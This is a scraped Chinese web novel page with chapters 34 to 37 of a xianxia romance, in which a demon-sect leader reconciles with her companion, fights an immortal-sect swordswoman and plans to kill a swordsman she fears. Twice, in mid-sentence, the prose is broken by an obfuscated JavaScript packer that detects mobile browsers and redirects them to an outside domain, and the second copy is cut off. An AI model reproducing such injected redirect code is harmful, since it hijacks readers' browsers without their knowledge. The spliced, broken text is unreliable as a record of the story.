“快把骨伞交出来!” 黎落很是无语的样子。 她将夜明珠朝地上一扔,珠子咕噜咕噜滚到了角落。 然后手腕一转,骨伞便出现在两人眼前。 白骨盈盈,伞面色泽浓重艳丽。 那刺客一下子看呆了。 黎落很是熟练地将骨伞朝前送了送,一副老实懦弱的样子: “给。” 那刺客警惕地看着骨伞。 原本在他看来,黎落弱小愚蠢,不过是靠着美色勾引了个能打的小白脸替她看家。 现下那小白脸跑了,黎落识时务为俊杰,将骨伞双手奉上也不是没有可能。 但近几天来探云苍阁的人不少,却没一个人顺利拿走骨伞。 他不免心生疑虑。 黎落见他目露警惕,想了想,又道: “算了。虽是书中炮灰,但谁想死得不明不白呢?” 她收起骨伞: “你自己走吧。” 哪知这举动反而引得刺客激动起来。 他猛得以尖刺扎向黎落脖子,一边伸手就要夺伞: “给老子拿来——啊!” 他蓦地一声尖叫,在尖刺碰到黎落之前,伞上魔气已死死缠上了他的脖子,他的头和身躯被大力拉扯分离的痛让他呼吸不畅、双眼充血。 这刺客再看向黎落时,忽觉她虽容貌可亲,眼神却比这漫天血色还要残酷。 但他已没机会后悔了。 被魔气绞碎前,只听得黎落声音幽幽,带着不谙世事般的残酷: “对不起啊,原本不想杀你的。下次一定要当个有脑子的炮灰啊。” 与此同时,院中埋伏已久的两个刺客忽然发难,银线如刀破开窗户,一边攻向黎落颈部,一边缠上骨伞伞柄。 黎落露出不耐烦的神色。 魔气受她情绪控制,顿时如疽附骨,顺着银线攀缘而上,化作利爪,一把将其中一个刺客拖拽下来,重重贯在地上。 院中传来重物落地的声音。 黎落正准备处理另一个人,一道冷光忽然闪过,与缠在黎落身上的银线相撞,发出铮然之声。 银线遇痛回缩,其主人也被剑气所震,惨叫一声摔了下来。 黎落转身,看向不知何时出现在她身后的段迟意,面露惊喜: “段迟意!你回来啦!” 段迟意的目光从她手中的骨伞上划过。 她立马收了伞,浑然不想管院里刺客的样子,下意识想要拉他的袖子: “你终于回来了!我还以为你生气,再也不回来了呢!” 段迟意神色漠然,避开她的触碰: “我只是来还云苍阁的东西。” 他明显是划分界限的动作让黎落面露失望: “这样啊……” 她瞬间又变得像霜打了的茄子一样,讷讷收回了手。 段迟意目不斜视地从她身边路过,将乾坤袋里的东西一一取出,分门别类规整好后,又慢条斯理地将其一一放好,最后还对着账簿检查了一遍。 做完这一切后,他合上库房大门,转身又要离开。 黎落跟在他背后看了半天,心道他如此细致仔细,一副今日就要把一切账务都处理完善、不留隐患的样子,只怕这一走,就真的不会回来了。 她当即下定决心,二话不说冲了过去,拦在段迟意面前: “你先别走,我有话要说!” 段迟意立时站住,掀起眼皮看她,十分冷漠的样子,好像他面对着的是个陌生人。 黎落莫名觉得心酸。 但她仍举着手不肯放下: “对不起,那天全都是我的错,你生气也是应该的。” 段迟意双眸锁在她脸上,故意反问她: “是吗?你是阁主,能有什么错?” 黎落:“我不该在抢骨伞的时候忘了你的死活,不该在你救我的时候打你的剑,更不该在不喜欢你的时候就亲你,我这种行为简直就是个不折不扣的混蛋,我以后绝对不会再擅自亲你了……” 段迟意的脸色随着她的话变得更冷,月色如水,淌在他轮廓分明的侧脸上,像是给他渡了一层霜。 他不欲再听,抬步就要离开。 黎落急忙伸手拦他: “我还没说完呢!” 段迟意忍着怒火,面无表情地抬眼看她,像是要看看她还能说出什么惹他生气的话。 黎落被他瞪得心虚,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444439|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不敢再就“能不能亲他”一事继续讨论。 然后她弱弱地总结了一句: “我错了……” 说完,她露出坚定神色,又重复了一遍: “我真的错了,我以后一定真心对你!” 她试探着靠近段迟意,见他没有拒绝,又伸手拉他袖子,前后甩了甩: “你原谅我这一次吧,好不好?” 段迟意垂眸看向她拉着自己袖子的手,神色稍霁。 这次他没有立马甩开她,而是问了句: “你要怎么真心对我?” 黎落晃他袖子的动作愣了一瞬,她眼珠子左右乱瞟,一看就是还没想好的样子。 段迟意不想再听她编胡话糊弄他,抬步往前继续走。 “唉唉唉……” 黎落立马整个人扑上去抱住他胳膊: “我真的没想好,但你可以提啊!你说的我都听!” 她原本没想着能靠这样耍无赖的招式拦住段迟意,但没想到他竟然真的被她拽住了。 他尽量忽视胳膊上传来的柔软触感,垂眸看她,墨玉似的眼睛又黑又冷,一眨不眨地盯着黎落,声音带着几分莫名的蛊惑意味: “我来提?” 黎落:“嗯!” 她先是点头,想到了什么后又急忙摇头: “呃……我不能把魔魂给你,骨伞也不能给你,我还有点别的麻烦要处理,那个事情你帮不上忙……” “够了。” 段迟意冷冷打断她。 黎落露出紧张的神色,下意识咬住唇看向他。 她像是在等待宣判,又不免他不满意,还是坚决要走,那她就真没有别的办法留住他了。 雪白贝齿在下唇咬出一条浅浅的印子,让那片樱粉透出嫣红。 连她自己都没意识到自己紧张时的下意识动作。 段迟意闭了闭眼睛,不想再看这张让他生气的脸。 但胳膊上挂着的人丝毫没有松手的意思,他只得说: “我给你炸了丸子,再不松手要糊了。” 黎落一愣: “你不走了?” 她这才意识到段迟意走向的方向不是大门,而是厨房。 她不由得弯起眼睛,放开他胳膊,瞬间傻乐起来: “你还给我做好吃的了?” 段迟意瞥见她神情,听见吃的立马笑这么开心,像个傻子一样。 他心里哼了一声,面上不显,只淡淡道: “看你表现。” * 段迟意的糖油果子炸的非常成功。 但黎落并没有他预想中的那样狼吞虎咽,只咬了一口便不吭声了。 他觑她表情,似乎不是很开心的样子,不免心下疑虑。 难道是他做的不好吃? 段迟意在心里复盘了一遍做法,确认每个环节都准确无误,甚至火候和油温他也经过了精密的设计,不可能难吃。 他复又看向黎落。 她的表情已经从不太开心变成了明显的难过,简直快要哭出来了。 段迟意慌了,伸手想拿走她手里咬剩半个的糖油果子: “不好吃便别吃了……” 黎落却不肯给他,摇了摇头,连忙将整个果子一口塞进了嘴里。 然后低着头,鼓着腮帮子边嚼边小声说: “挺好吃的。” 段迟意看的牙疼。 他伸手轻轻替她拍了拍后背,帮她把嘴里的东西顺下去,又给她倒了一杯温水。 黎落咕噜咕噜喝了。 “虽然刚保证过……” 她放下杯子,唇上还带着点水光,目光灼灼地看着他,猝不及防道: “段迟意,我现在能亲亲你吗?” 35. 第 35 章 黎落说完,下意识舔了舔唇,用期待的目光盯着段迟意的脸,还时不时往他唇上瞧。 段迟意喉结滑动了两下。 他感觉嗓子有点干。 又觉得自己一颗心好似那锅里的丸子似的,被黎落这个小混蛋捏在手中揉扁搓圆、肆意玩弄,时不时还要被放进油锅里烹炸折磨一番。 而罪魁祸首非但没有丝毫悔过之心,甚至还想变本加厉。 段迟意伸出手,缓缓地、轻柔地靠近黎落的脸。 黎落目光炯炯,随着他靠近的动作,眼里的光亮了几分。 “哔啵”一声,灶台中的柴火炸开,一下子把旖旎的气氛打破。 而段迟意的手指也终于碰到了她的脸。 他指节微屈,五指猛得变了弧度,一把扯住黎落的脸颊,往外轻轻一拉。 “不许亲。” 他冷冷启唇。 黎落的半边脸被他扯变了形,又听见他这冷漠无情的话,目光瞬间变得失望。 “那好吧。” 她十分不甘心地低下头,用筷子戳着碗里的其他糖油果子,故意不去看段迟意的脸。 看她这般神态,段迟意觉得心里那股气终于顺了。 他心满意足地松开手,起身,凉凉道了句: “哪来的色中饿鬼?” * 段迟意心情大好,回房,躺下,闭眼。 突然睁眼,看见床边蹲着个人。 是黎落。 她怀里还抱着他在鬼界给她做的星星灯,稍一动,夜明珠的光便从她怀里冒出来,照在他眼皮上。 见他睁眼,还假惺惺地问了句: “好巧,你也睡不着啊?” 段迟意:“……?” 他一动不动地看黎落爬上床,将他朝里推了推,把她的宝贝灯摆在中间,又是一副彻夜长谈的架势。 段迟意给她让出位置,忍不住转头看了一眼窗外。 夜色低沉,月上中天。 这个时辰,连猫都睡了。 坐在他床上的黎落反而神采奕奕,毫无困意,还对他说: “太早了,我睡不着,一起来聊天吧。” 段迟意:“……聊什么?” 黎落:“不然继续讲我上次没讲完的故事吧。” “上回书说到,此渣男伤透女主的心后,强行带女主出门游玩。女主中途受伤,心碎不已,这时候,男二出现了。” 黎落假装成说书先生手里拿着惊堂木的样子,朝床边空地一拍,星星灯跟着一抖,流光四溢。 “这男二长的十分好看,花言巧语哄得女主和他成亲。但这会儿渣男又不乐意了,说:嘿!我的女人,就算我不要,也不许其他男人染指!” 她演上了兴致,单手在半空中指指点点: “结果你猜怎么着?” 段迟意语气平平:“他被男二打死了。” 黎落:“……” 黎落十分欣赏地拍了拍他的肩膀: “你很有想法,我欣赏你。” 她摇摇头:“但很不幸,女主和渣男和好了,他们打算回家成亲。” 段迟意:“你为什么非要看这种书呢?” 黎落眼神一瞬间变得忧郁,但她很快调整好了心情,瞪他: “你还要不要听?” 段迟意无奈叹气,闭嘴,摆出洗耳恭听的姿态。 黎落这才满意。 她继续说: “但好景不长,渣男身患绝症,必须靠一味药材才能活下去。但那药材极难寻,他觉得自己死定了,所以故意将女主推开,女主又伤心不已。” 段迟意:“……哦。” 黎落神情有些飘忽,声音也不似方才那样振奋,有些像是自言自语: “那药材着实是个宝贝,若落到渣男手里也是可惜。虽然生长之地危机重重,但常言道富贵险中求……” 脑门忽然一痛,是段迟意屈起两根手指,猝不及防敲在她额头上。 敲西瓜一样,声音清脆。 力道不大,但打得她一激灵,回过神来。 正对上段迟意警告的目光: “若你再敢背着我以身犯险,我就——” 黎落捂着头,等他说出强有力的威胁。 谁知他却说: “我就再也不陪你熬夜。” 黎落:“!” 她如临大敌,立马保证:“绝对不会!我说到做到!” 段迟意这才略微放下心来。 黎落所说的故事看似无厘头,实则总有些诡异之处。 他每次听见时都感到莫名不安。 好像一不小心,他面前这人就会跑进没有他出现的故事里,让他再也无法找到她。 今日这感觉尤甚。 段迟意不禁抬眸看向黎落。 她正盯着照在床柱上的灯光发呆,眼睛都快直了。 几乎每次都这样,拉着他一起熬夜聊天,最后却总是她先犯困跑神。 段迟意又想敲她。 但见她此刻全须全尾地坐在他身边,顶着个黑眼圈摇摇晃晃不想睡觉的样子,段迟意又忍不住觉得好笑。 他伸手,轻推她肩膀,故意坏心眼问道: “黎落,你睡了吗?” “啊?我没睡!” 黎落一个猛子坐直了,拼命睁大眼睛,想要证明她刚刚没睡着。 她双目无神,但还在硬抗: “我一点都不困。” 段迟意失笑,俯身凑近她眼睛,轻声道: “黎落,你心情不好吗?” 他精致无瑕的脸在黎落面前缓缓放大,一双黑眸如同漩涡一般,诱她坠入其中。 黎落困意上头,脑子早便不怎么转了。 被他这么轻轻松松一蛊惑,下意识回道: “是有点,因为吃了糖油果子。” 段迟意闻言,脸唰得一下拉得老长。 他坐回原位,阴阳怪气道: “原是嫌我做的难吃,故意来熬我。” “不是因为难吃。” 黎落这会儿是真的困了,尾音带着点黏糊,听起来委屈巴巴的: “我只是有点想他们了,不想一个人待着,你是我最信任的人了……” 段迟意默。 他看向黎落,微不可查地叹了口气,感觉自己在和黎落的战争中胜算渺茫。 然后他将星星灯移到一边,把被子盖在她身上,算是默许她在这里休息。 黎落从善如流地抢了他的位置,顺势裹着被子躺下。 段迟意只得朝床内又挪了挪,后背已经贴到了墙上。 黎落闭上眼睛,长舒一口气。 熬到这会儿,躺下睡觉俨然更合她心意。 但没安宁片刻,她又睁开眼睛,扭头看他: “你不睡吗?” 段迟意还没说话,她就又忽闪着大眼睛问他: “真的不能亲吗?” 段迟意:“……” 他简直哭笑不得。 黎落这家伙,素来擅长趁人不备攻人心防。 若不是鲛珠实打实的照出她心中所想,只怕自己还被她哄得团团转。 现下不过几句甜言蜜语就想哄着他继续无条件给她打白工,还要出卖色相…… 段迟意心里哼了一声。 他板起脸,一副公事公办模样: “不能。” 黎落果真只是随口试探,闻言既不失望也不纠缠,闭上眼睛很快就睡着了。 这下,反倒是段迟意心里不爽了。 这人怎能如此拿得起放得下,素来目标明确,无论是利用他自救,还是诓骗着他保护云苍阁,亦或是现在想要找人陪她待着…… 竟都遂了她的意! 纵使如此,还要抓住一切机会得寸进尺! 他不免想到第一次追来云苍阁那次,黎落是如何花言巧语哄他出力。 若非他意志坚定,及时拒绝了她更多无理要求,她岂不是还要上天? 段迟意垂眸看着黎落的睡颜,心里又气又想笑。 他磨了磨牙,想咬她。 但见她睡得脸颊微红、毫不设防的样子,他又想要替她拂开额角的碎发。 又爱又恨的复杂心情交织在一起,段迟意凝视着黎落的脸,久久未动。 等黎落再次把自己的头发揉成一团糟、朝被子里钻的时候,段迟意才伸出手将她捞了一把。 她下意识朝他这边靠过来。 这一次,段迟意没有再躲开了。 他将她的脸扶正,缓缓低头,在她眉心落下轻柔一吻。 黎落朝他怀里蹭了蹭,找了个舒服的姿势沉沉睡去。 段迟意微微弯起嘴角,眼底闪过温柔笑意,仿佛坠入了一整片星海。 * 穗穗面无表情地看着段迟意。 段迟意神色淡然,并不在乎它的视线,而是看向黎落: “阁主今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方压低声音,隐约听着是个年纪不大的少年,还带着点公鸭嗓: “这年头,还有哪个仙门修士敢冒风险跟魔族阁主做生意?多出来的价是我的担惊受怕费!” 他冲她摇手比划: “快点快点,别被其他人看见了!” 黎落掏出三个装满淬金石的乾坤袋放到他伸出来的手上,道: “我要的东西呢?” 对方掂了掂乾坤袋,听得里面满满当当的淬金石碰撞的声音,心满意足地从斗篷下拿出一柄剑。 剑鞘看着普通,却压不住剑身上的充沛灵力。 一看便是器修用上品灵石炼出的法器。 黎落单手握住剑柄,有些沉,她又换了两只手来接。 拔剑出鞘,有铮然之声。 黎落虽不懂剑,却也能看出这剑是个宝物,眼里全是赞叹。 少年见状哼哼两声,声音没有刚才那么防备了: “怎么样,我可是废了不少心思,值你这些淬金石吧!” “值,道长真是诚信经商、仙魔无欺!” 听见黎落的称赞,少年器修脸上浮现几分得意。 原本他还担心黎落是个不好惹的魔族,若不是炼器需要大量淬金石,他何须冒如此大的风险来此交易? 但见着黎落,发现她不过是个容颜姣好的小姑娘,说话也十分和气,这少年一下子就放松了警惕。 他又提起另一件事: “你先前给了许多天材地宝,让我把烟锦纱制成好用的防身法器,我试了试,还是觉得不值当。” “只能挡化神期一招的防身法器,若还熔了这么多宝贝,炼制出来亏钱不说,还得毁我名声。” 他从斗篷下取出烟锦纱,并黎落搜集的天材地宝,一同递还给她,语气有些傲娇: “我不接这单,还给你。” 黎落讶然。 她没想到这人对炼器如此执拗。 其实只消随便炼炼便是,她也并不在乎是否值当。 但见对方这么说,她也不好强人所难,只得伸手将东西接了。 左右想送给段迟意的惊喜,主要还是手里这柄剑。 谁知她刚伸出手,便觉身后气息不对。 连日被偷袭的本能让她当即回身反击。 一道魔气推开站在她对面的少年器修,直直与迎面而来的长剑相撞。 器修于炼器一事天分卓绝,在打斗方面便略显不足了。 他被黎落的魔气推得摔了个跟头,砸得头晕眼花。 却也刚好避开来人杀意十足、敌我不分的一击。 36. 第 36 章 装着烟锦纱和天材地宝的乾坤袋掉到了地上。 一位身量高挑、容貌盛极的女修持剑与黎落相对。 ——仙门中人。 器修在看到来人时一个激灵,急匆匆将斗篷拉得更严实些,想趁着黎落与女修对抗时悄悄逃跑。 女修发现了他的小心思,冷嗤一声,一道灵力打向他: “我倒要看看,哪个不要命的仙门中人,敢同魔族勾结往来!” 她一手击开黎落魔气,一手用剑挑碎器修斗篷,认出对方: “好你个张少荣,还不跪下!” 张少荣自知暴露,立时不敢再跑,老老实实跪在女修剑下: “见过杜师姐,杜师姐恕罪!我真的没有和魔族勾结!” 杜孟看向黎落手中灵气充沛的剑,声音带着威慑: “还说没有?那剑分明出自仙门炼器之法,若你没有和魔族勾结,又为何要给她法器和灵宝?!” 张少荣急忙辩解道: “师姐明鉴!我……我来之前并不知道她是魔族!” 他深知杜孟向来喜憎分明,莫说是妖魔,便是与妖魔有所沾染的普通弟子,她也是说杀就杀。 张少荣根本不敢在杜孟面前露出半分和黎落交易的破绽,只能将事情一股脑推到黎落头上: “是这魔族诓骗我为她炼剑,又眼馋我身上携带的其他宝贝,想一同抢去……” 他连哭带嚎: “我只是个器修,哪里打得过她!求杜师姐救我!” 说完,张少荣自知理亏,下意识偷看了一眼黎落。 黎落没有说话。 他松了一口气,小心翼翼擦了擦头上的冷汗。 杜孟本就极其厌恶魔族,见黎落没有反驳,顿时怒气上头,一脚踹开张少荣: “废物!堂堂仙门弟子,竟叫一个魔族欺辱至此!简直辱我仙门名声!” 张少荣被她踹到心口,吐血倒地。 杜孟见他如此模样,越发厌恶,一手紧握本命剑长缨,猛得指向黎落: “欺我仙门弟子,抢我仙门宝物,今日我便除了你这邪魔!” 黎落扬起个意味不明的笑。 她瞥了一眼张少荣,漫不经心道: “谁让你们仙门炼器术天下一绝呢?我实在是有些心动。” “既知我是魔,还不带着你的东西滚!” 张少荣心虚不敢看她,爬起来抹了把脸上的血,顶着杜孟的视线将地上的烟锦纱和天材地宝捡了,缩着脖子急匆匆往远处跑。 黎落没有动,只看着张少荣逃跑。 反倒是杜孟先动了。 妖魔天生该在修士剑下求饶,岂有修士未战先怯、仓皇逃命之理? 简直是给仙门蒙羞! 留着这样的弟子何用?! 杜孟蓦得动手,神色冷酷,长缨剑势大开大合,不朝黎落,反而对着逃跑的张少荣。 张少荣怎会想到她会对自己动手,毫无防备地迎了这一剑。 多亏烟锦纱在他手中,法器护主,瞬间罩在他头上,这才救了他的小命。 张少荣整个人都呆住了。 杜孟反手又是一剑袭来。 黎落挡在张少荣前面,骨伞与剑势相抗,魔气瞬间冲上剑身。 她看了一眼只顾发呆的张少荣: “还不快跑?” 张少荣嘴唇发颤,但杜孟对他动手带来的冲击太大,听见黎落的话,也只是本能挪动双腿。 没跑几步,他下意识回头,黎落仍挡在他前面。 魔气挡住杜孟的剑,护他一命的烟锦纱裂成两半。 张少荣猛得站定,反身捡起地上的烟锦纱才又转身逃跑。 黎落心道奇怪。 他不是说这种一次性法器鸡肋,怎么还要冒死捡走用过的残余? 但杜孟一剑又至,她便无暇分心去想了。 “好一个张狂的魔头!” 杜孟冷笑一声: “先抢骨伞,再闹鬼界,那胆大包天的魔头,果然是你!” 鬼界大乱,鬼王身死,仙门尚未查出凶手,没想到罪魁祸首竟如此大胆,主动招惹到仙门弟子身上! 杜孟剑招更急。 她虽未入寒冰域,不及珩亦剑势凌厉,但天资卓越,亦是仙门弟子一辈中的佼佼者。 魔魂与骨伞一事本是珩亦调查,但不知怎的,成胥道君几日前忽然召见她,将此事交给她来处理。 当日仙门弃她、择珩亦入冰,杜孟本就心中不忿,这些年来一直憋着一口气,想要证明自己是比珩亦更合适的人。 如今便是天赐良机! 杜孟一剑捅出,与骨伞相撞,火星四溅。 黎落被震得虎口生疼。 杜孟是个疯子,连自己的师弟都能痛下杀手,更不会对她留情。 可惜黎落本不是什么能抗能打的魔头,体力逐渐不支,又想护好送给段迟意的剑,一个不慎,叫杜孟的剑扫到了她眼前。 杜孟面露得意。 然而比她的剑更快的,是黎落周身忽然漫上的诡异气息。 她双眸忽而涌上墨色,混沌之力成屏障护在她身前,骨伞与魔气也立时成其拥趸,借势增强扑杀而上。 不但挡了杜孟全力挥来的一剑,还直接将她撞飞出去。 杜孟瞬间经脉错乱,灵力被魔气打散难以维持,借着长缨剑才勉强维持住身形,呕出一口鲜血。 她望向黎落,满目震惊,脱口而出: “魔尊?!” 那气息她不会认错,昔日道君与魔尊一战,骨伞与魔气便成此势。 除却魔尊沧宿,还有哪个魔头能有如此蛮横之力? 但却见黎落周身魔气轻微、气息平和,除却手中骨伞尚保留着杀气未散,哪里有半分昔日魔尊的狠戾? 杜孟又不慎确定了。 黎落压下混沌之力,双眸恢复如常。 见杜孟已无战力,瞪着她的眼神惊疑不定,必然是察觉到了什么。 某个瞬间,黎落想要直接杀了杜孟,以绝后患。 但她脑子里又飘过很多原书剧情。 仙门修士斩妖除魔,守护人界,心怀大义。 虽说她与两河镇的百姓没有被仙门拯救的运气,但总会有其他幸运的人。 黎落打量杜孟一番,最终没有动手,但也不想再继续纠缠下去。 她答应了段迟意和穗穗,办完事要尽快回去的。 黎落抱着剑转身离开。 杜孟盯她背影,神色郁郁,忽然掏出一张剑符。 符上剑意带滔天之势,放出的一瞬间,隐约可闻龙吟之声。 光是催动这剑符便使得杜孟丹田内灵力枯竭,周身经脉几近逆转,连同周围天地间的灵力一齐送向半空中那道剑影。 随着剑影凝实,道君剑意迸发,这一方天地间忽而阴云密布,似大雨倾盆之相,眨眼便有雨滴坠落,如铁锤砸地,势压千钧。 压得黎落站立不稳,单膝跪地。 杜孟死死盯着黎落。 纵使不是魔尊,能拥有骨伞,还能挡她一剑,必不是善类。 她身为正道修士,若因一时贪生怕死,见此魔而不除之,便有负苍生!有负仙门栽培! 故而她宁可力竭濒死,也要强行催动成胥道君的剑符,将黎落这魔头彻底斩杀于今日! 道君剑符上含其一道剑意,本是多年前为战魔尊,成胥道君特意留给杜孟的。 便是对上魔尊,持符者也能争得一丝生机。 遑论一个黎落! 混沌之力察觉到杀意,遇强则强,迸发的一瞬间,几乎将黎落这具人族的身体撑爆。 若非还有魔魂拉扯着,她只怕立时便要五脏炸裂而死了。 黎落艰难喘息。 她眼底浮现戾气,浓重黑气自她周身散出,不管不顾朝着半空那道剑影撞去—— 突然,四面气息一凉,如冬雪初至,朝她压下的剑影停在半空。 一柄雪色长剑划开雨幕,坚定地、毫无退意地抵住了那道剑影。 剑意对冲的瞬间,修为与灵力如水波纹般骤然散开,碰撞出一圈极强的冲击力,无数草木连根拔起,又被剑气扫过,与半空中被削成两段,落回地面。 杜孟亦被这道气息打飞出去。 霜寒之气弥漫,剑与剑相撞,寒意将雨水凝成冰雪,朴朴簌簌落了下去,瞬间便将此处铺了一层素白。 鼻尖落上了雪花,眨眼便消解成水。 道君剑意一击即散,混沌之力也自行消退。 黎落缓过气来,仍觉脏腑火辣辣得疼,忍不住打了个冷颤。 恍惚抬头,面前不知何时多了一道修竹般的清隽身影。 珩亦侧身挡在她身前,乌发高束,身姿挺拔,面具遮掩,只露出线条流畅的下颌。 破妄剑嗡鸣不休,不单是因为挡了道君剑意,更是因为方才那一瞬间,黎落的魔气环在它周围,激起了这把除魔之剑的战意。 霜雪落在剑上,持剑的手却比雪色还要苍白。 “珩亦?” 杜孟见着来人,先是惊讶,随即成了质问: “你胆敢与魔族为伍?背叛仙门?!” 段迟意压下心口血气,无视杜孟。 他回头看向黎落,想问她一句“可 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体力不支,内伤严重,手腕连同剑身都在颤抖。 但她眉眼间一片冷意,右手发抖,便用左手握着右手腕借力,提剑迎向杜孟。 魔气和混沌之力迸发,与杜孟剑招相撞,攀附而上,瞬间扼住她的喉咙。 杜孟面露惊恐,已知轻敌,却被黎落毫不犹豫地一剑刺穿心脏。 黎落双目冰冷,看着倒在地上的杜孟,魔气不散。 先前一时犹豫,她险些不明不白丧命于此。 如今侥幸存活,合该及时清醒过来,修正错误。 什么仙什么魔,她既然想活,那与她为敌要她性命者,就必须死! 黎落转头,与段迟意对视。 这是第二次被珩亦撞见她杀人了,这回杀的还是他们仙门的人。 段迟意的表情隐藏在仙门面具下,叫人猜不透他此刻的想法。 “你可以杀我报仇。” 黎落说。 段迟意没说话。 黎落继续道: “仙门斩妖除魔,是为正义,我为邪魔,天生与修士势不两立,我不欠你们的。” 她剑指珩亦: “我宁死不悔。” 段迟意身形微动,袖口轻轻摇晃。 黎落觉得他一定是来杀自己了。 混沌之力上涌,尚未修补好的脏腑再一次受到冲击,连同手背上的筋脉也一齐突出。 她嘴角溢出鲜血,却毫无退意,一双眼睛冷冷看着他,双瞳泛着不详的浓黑。 但预期中的攻击并没有出现。 面前剑修仍站在原地,黎落却感觉自己湿漉漉的衣服瞬间变得干爽。 他只是替她烘干了被雨水打湿的衣服和头发。 语气似是无奈,却并无多少责备: “仙门不代表正义。” 你也不是邪魔。 他在心里补充了一句。 黎落怔住。 她好像一时不能理解他的话,疑惑的目光从珩亦脸上的面具移到他手里的破妄剑。 然后她又跑神了。 她忽然发现自己的剑纵使被好好护着,还是被道君剑符打出了裂痕。 而破妄剑直面道君剑影,却依然完好无损。 ——她手里的剑并不是一把足以超过破妄剑的宝剑。 这认知让黎落挫败。 她逃也似的离开。 * 等段迟意换了装束找到她时,她正垂着头靠在一块石头上,气息混乱,呼吸不稳。 段迟意调整语气,假装刚知道消息的样子: “黎落,你怎么样?可有受伤?” 黎落没有说话,摇了摇头,伸手,示意他扶她。 段迟意只当她不想多说话,弯下身子,触及到她手的一瞬间,却摸到了一片冰凉。 她的情况比他预估的还要糟糕。 他动作一变,放弃原本打算,一手揽住她背,一手从她膝下穿过,直接将人打横抱起。 黎落没有拒绝。 她疲惫地靠在他怀里,整个人像是刚从冷水下捞出来一样,虽然衣服是干的暖的,但寒意却从骨子里往外冒。 段迟意担忧不已。 事实上,黎落现在根本站不起来。 五脏六腑都好像被人搅和了一遍似的,没一个在原位,拉扯着疼。 段迟意用灵力探她伤势时,猝不及防听见黎落在他耳边说: “我想杀了珩亦。” 37. 第 37 章 段迟意周身气息倏得一变,猛然抬眼看向黎落。 黎落浑然不觉,仍闭眼靠在他身上。 就在不久前,珩亦离开的同时,系统忽然出现了。 它应该是开始怀疑自己了,从鬼界出来后,一次也没有出现过。 但这次,它说出的话却让黎落后背发凉。 “剧情线产生偏移,女主死亡时间提前。” 紧接着,她脑海中便猛然多出一个片段。 满天大雪中,有人持剑而立。 长剑穿心,流出的血不等落地便凝结成冰,心口冰凉一片。 而她整个人仿佛也被冻成了冰,连抬手的力气都没有。 抬眸,长睫落雪,沉重而模糊的视野里,与面具下的冷眸对视。 她在原著中本就死于珩亦之手,此事一直如一根刺一样扎在她心头。 如今,这根刺竟然提前加深了。 黎落忍不住蹙眉,朝段迟意怀里缩了缩。 或许这段预知记忆只是系统的恐吓,但不得不说,它成功了。 死亡的感觉如此真实,她几乎要产生错觉,好像自己真的死了一遭似的。 其实本就是这样,只要她没能摆脱剧情,只要珩亦仍在,她就永远笼罩将会在死于他剑下的威胁中。 她怎么能安心? 不如先下手为强。 黎落感觉到自己回到了云苍阁,段迟意将她放到床上,灵力如水,缓缓冲刷她的经脉。 她眉头舒展开来,觉得自己终于有了力气。 睁开眼,与段迟意四目相对。 见她睁眼,他的表情松动几分,而后一手抬起她的下巴,一手抚在她脑后,忽而凑近她,那张格外精致的容颜便忽然在她眼前放大。 黎落的呼吸瞬间停滞。 他的气息有些凉,拂在黎落下巴上,像是落了片轻盈的雪。 黎落一愣,不敢动了。 但她等了许久,也未见段迟意有什么别的动作。 他抿着唇,专注地望着她的眸子,像是在寻找什么。 澄澈的,正常的,里面只有他的倒影,没有被魔气吞噬的痕迹。 于是他心底疑惑更甚: 那她为什么要杀珩亦? 他飞快地把自己所作所为盘了一遍,根本不知道自己哪里得罪了黎落,才会引得她对自己珩亦的身份如此仇恨。 难道是骨伞中那次? 段迟意神情不由得变得凝重,还有些后悔。 黎落不知道他在想什么,看他神色逐渐变得凝重,急忙说: “我没有背着你冒险,今天的事真的只是意外。” 段迟意回过神来。 他微微拉开距离,仍保持着抬着她下巴扣着她头的动作,目光从她瞳孔上移开,居高临下地看着她。 这姿势让他显得有些压迫感。 黎落抬眸看他,情不自禁紧张起来,听见他问: “是吗?” 黎落点头,脸被他抬着,这动作使他的指节与下巴的皮肤挤压碰撞,奇异的触感从相接触的地方蔓延开来,连带着舌根都有些被压住的酸。 黎落忍不住朝后缩了缩脖子,段迟意的手指便离开了她的下巴。 放在她脑后的手也顺势移到了她肩上,不轻不重地压着,虽没有方才那么强势,却也带着几分不易察觉的掌控感。 段迟意垂眸,长睫在眼睑上打出一片阴影,遮掩了双眸中的锐利,让他的表情看起来显得柔和而无害。 “那,珩亦呢?” 他问道。 黎落下意识移开目光,看向另一边的地面。 系统说的话、原书剧情的结局在她脑海中浮现。 可无论是系统还是剧情,这些东西都没法和段迟意说清楚。 但她答应过,要真心相待。 黎落在心里天人交战一番。 “段迟意。” 片刻后,她下定决心,看向他的脸,叫他名字。 段迟意闻声抬眸。 黎落深吸了一口气,道: “具体原因我无法直言,但我若不提前动手,很快就会死于珩亦剑下。” 她神态郑重,不似玩笑。 说起“死”的时候,声音里带着一丝微弱的颤抖,是最本能的恐惧。 甚至还下意识拉住了他袖子,用以寻求支撑。 她是真的害怕珩亦杀她。 段迟意长睫微动。 他心里的疑惑更深了。 但他只是反握住她的手,将那份隐约的颤抖用力压住。 “他不会杀你。” 段迟意开口,坚定道: “他也杀不了你。” 谁知这话反而刺激到了黎落,她的眼睛瞬间漫上愤恨之色,魔气在其中一闪而过: “你怎知他不会杀我?” 她盯着他脸,像是在责怪他的一无所知: “你什么都不知道,我却比谁都清楚!” “……” 段迟意被她话语中的怨恨惊得目光一颤,没有继续反驳。 他避开她的视线,握着她的手轻轻安抚,一边顺着她的话说: “那你想怎么做?” 他的语气很缓,动作轻柔地像是在哄小孩。 黎落的情绪却也神奇地平复下来。 她顺着他的动作靠上他肩膀,将脸埋在他衣服上,整个人缩进他怀里,闷闷道: “我还没想好。” 